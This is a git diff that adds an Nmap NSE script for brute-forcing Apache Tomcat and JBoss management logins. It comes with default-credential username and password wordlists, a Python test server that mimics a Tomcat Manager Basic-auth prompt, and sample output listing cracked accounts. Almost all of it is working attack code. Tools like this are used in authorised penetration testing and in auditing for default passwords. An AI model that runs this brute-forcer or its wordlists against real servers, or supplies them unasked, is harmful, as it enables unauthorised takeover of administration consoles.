initbrain · November 29, 2021 07:11 · Oct 29, 2015 · Oct 29, 2015 · Oct 29, 2015
diff --git a/tomcat-passdb.txt b/tomcat-passdb.txt
@@ -0,0 +1,31 @@
+
+123123
+123321
+1234
+12345
+123456
+12345678
+1234578
+admin
+ADMIN
+changeit
+changeme
+changethis
+j2deployer
+j5Brn9
+kdsxc
+manager
+OvW*busr1
+owaspbwa
+password
+password1
+Password1
+QLogic66
+r00t
+role1
+root
+s3cret
+secret
+tomcat
+toor
+xampp
diff --git a/tomcat-userdb.txt b/tomcat-userdb.txt
@@ -0,0 +1,14 @@
+admin
+ADMIN
+admtomcatin
+both
+cxsdk
+j2deployer
+manager
+ovwebusr
+QCC
+role
+role1
+root
+tomcat
+xampp
diff --git a/testing-webserver.py b/testing-webserver.py
@@ -0,0 +1,60 @@
+import BaseHTTPServer
+from SimpleHTTPServer import SimpleHTTPRequestHandler
+import sys
+import base64
+
+requestcounter = 0
+key1 = ""
+key2 = ""
+
+class AuthHandler(SimpleHTTPRequestHandler):
+    ''' Main class to present webpages and authentication. '''
+    def do_HEAD(self):
+        self.send_response(200)
+        self.send_header('Content-type', 'text/html')
+        self.end_headers()
+
+    def do_AUTHHEAD(self):
+        self.send_response(401)
+        self.send_header('WWW-Authenticate', 'Basic realm=\"Tomcat Manager Application\"')
+        self.send_header('Content-type', 'text/html')
+        self.end_headers()
+
+    def do_GET(self):
+        global key
+        global requestcounter
+        requestcounter+=1
+        print "-"*50
+        print "requestcounter="+str(requestcounter)
+        print self.headers.getheader('User-agent')
+        ''' Present frontpage with user authentication. '''
+        if self.headers.getheader('Authorization') == None:
+            self.do_AUTHHEAD()
+            self.wfile.write('no auth header received')
+            print 'no auth header received'
+            pass
+        elif self.headers.getheader('Authorization') == 'Basic '+key1 \
+        or self.headers.getheader('Authorization') == 'Basic '+key2:
+            SimpleHTTPRequestHandler.do_GET(self)
+            print 'authenticated'
+            print base64.b64decode(self.headers.getheader('Authorization')[6:])
+            pass
+        else:
+            self.do_AUTHHEAD()
+            self.wfile.write(self.headers.getheader('Authorization'))
+            self.wfile.write('not authenticated')
+            print 'not authenticated'
+            print base64.b64decode(self.headers.getheader('Authorization')[6:])
+            pass
+
+def test(HandlerClass = AuthHandler, ServerClass = BaseHTTPServer.HTTPServer):
+    BaseHTTPServer.test(HandlerClass, ServerClass)
+
+
+if __name__ == '__main__':
+    if len(sys.argv)<4:
+        print "usage SimpleAuthServer.py [port] [username1:password1] [username2:password2]"
+        sys.exit()
+    key1 = base64.b64encode(sys.argv[2])
+    key2 = base64.b64encode(sys.argv[3])
+    test()
diff --git a/http-tomcat-manager.nse b/http-tomcat-manager.nse
@@ -0,0 +1,127 @@
+local shortport = require "shortport"
+local http = require "http"
+local stdnse = require "stdnse"
+local brute = require "brute"
+local creds = require "creds"
+
+description = [[
+Performs a dictionary/bruteforce attack over login and password fields of Apache Tomcat default web management pages.
+]]
+
+---
+-- @usage
+-- ./nmap --script http-tomcat-manager --script-args 'brute.firstonly=false,threads=8,passdb=tomcat-passdb.txt,userdb=tomcat-userdb.txt' 192.168.1.23
+--
+-- @output
+-- PORT     STATE SERVICE
+-- 631/tcp  open  ipp
+-- 8080/tcp open  http-proxy
+-- | http-tomcat-manager: 
+-- |   Accounts: 
+-- |     admtomcatin:OvW*busr1 - URI=/manager/html STATUS=200
+-- |_    root:toor - URI=/manager/html STATUS=200
+-- 
+--
+-- @args hostname Sets hostname header.
+-- @args threads Sets number of concurrent threads. Default: 3
+--
+-- Other useful arguments when using this script are:
+-- * http.useragent = String - User Agent used in HTTP requests
+-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
+-- * brute.mode = user/creds/pass - Username password iterator
+-- * passdb = String - Path to password list
+-- * userdb = String - Path to user list
+---
+
+author = "Julien Deudon (initbrain)"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"default", "auth", "intrusive"}
+
+portrule = shortport.http
+
+local DEFAULT_THREAD_NUM = 3
+
+---
+--This class implements the Driver class from the Brute library
+---
+Driver = {
+  new = function(self, host, port, uri, options)
+    local o = {}
+    setmetatable(o, self)
+    self.__index = self
+    o.host = nmap.registry.args['hostname'] or host
+    o.port = port
+    o.uri = uri
+    o.options = options
+    return o
+  end,
+
+  connect = function( self )
+    return true
+  end,
+
+  login = function(self, username, password)
+    local credentials = {username = username, password = password}
+    local response = http.get(self.host, self.port, self.uri, {auth = credentials, no_cache = true})
+    stdnse.print_debug(2, "HTTP GET %s%s returned status %d", self.host, self.uri, response.status)
+    if response.status ~= 401 and response.status ~= 403 and response.status ~= 404 then
+      if (not( nmap.registry['credentials'])) then
+        nmap.registry['credentials'] = {}
+      end
+      if (not( nmap.registry.credentials['http'])) then
+        nmap.registry.credentials['http'] = {}
+      end
+
+      table.insert(nmap.registry.credentials.http, {username = username, password = password})
+      return true, creds.Account:new(username, password, "URI=" .. self.uri .. " STATUS=" .. response.status)
+    end
+    return false, brute.Error:new("Incorrect password")
+  end,
+
+  disconnect = function( self ) 
+    return true
+  end,
+
+  check = function( self )
+    local response = http.get(self.host, self.port, self.uri)
+    stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)			
+    -- Check if www-authenticate field is there
+    if response.status == 401 and response.header["www-authenticate"] then
+      stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
+      return true
+    else
+      stdnse.print_debug(1, "Initial check failed. www-authenticate header wasn't found")
+    end
+   return false
+  end	
+}
+---
+--MAIN
+---
+function table.removekey(table, key)
+    local element = table[key]
+    table[key] = nil
+    return element
+end
+
+action = function(host, port)
+  local status, engine, result
+  local thread_num = nmap.registry["threads"] or DEFAULT_THREAD_NUM
+
+  -- TODO get URIs form a file with the NSE script parameter "uridb" like "userdb" and "passdb"
+  uriTable = {'/status', '/admin', '/web-console', '/jmx-console', '/admin-console', '/manager/html', '/tomcat/manager/html', '/host-manager/html', '/server-manager/html', '/web-console/Invoker', '/jmx-console/HtmlAdaptor', '/invoker/JMXInvokerServlet'}
+  for i, uri in ipairs(uriTable) do
+    local resultpart
+    engine = brute.Engine:new(Driver, host, port, uri)
+    engine:setMaxThreads(thread_num)
+    engine.options.script_name = SCRIPT_NAME
+    status, result = engine:start()
+  end
+
+  -- False statistics due to the URI iterator...
+  if result ~= nil then
+    table.removekey(result, "Statistics")
+  end
+
+  return result
+end
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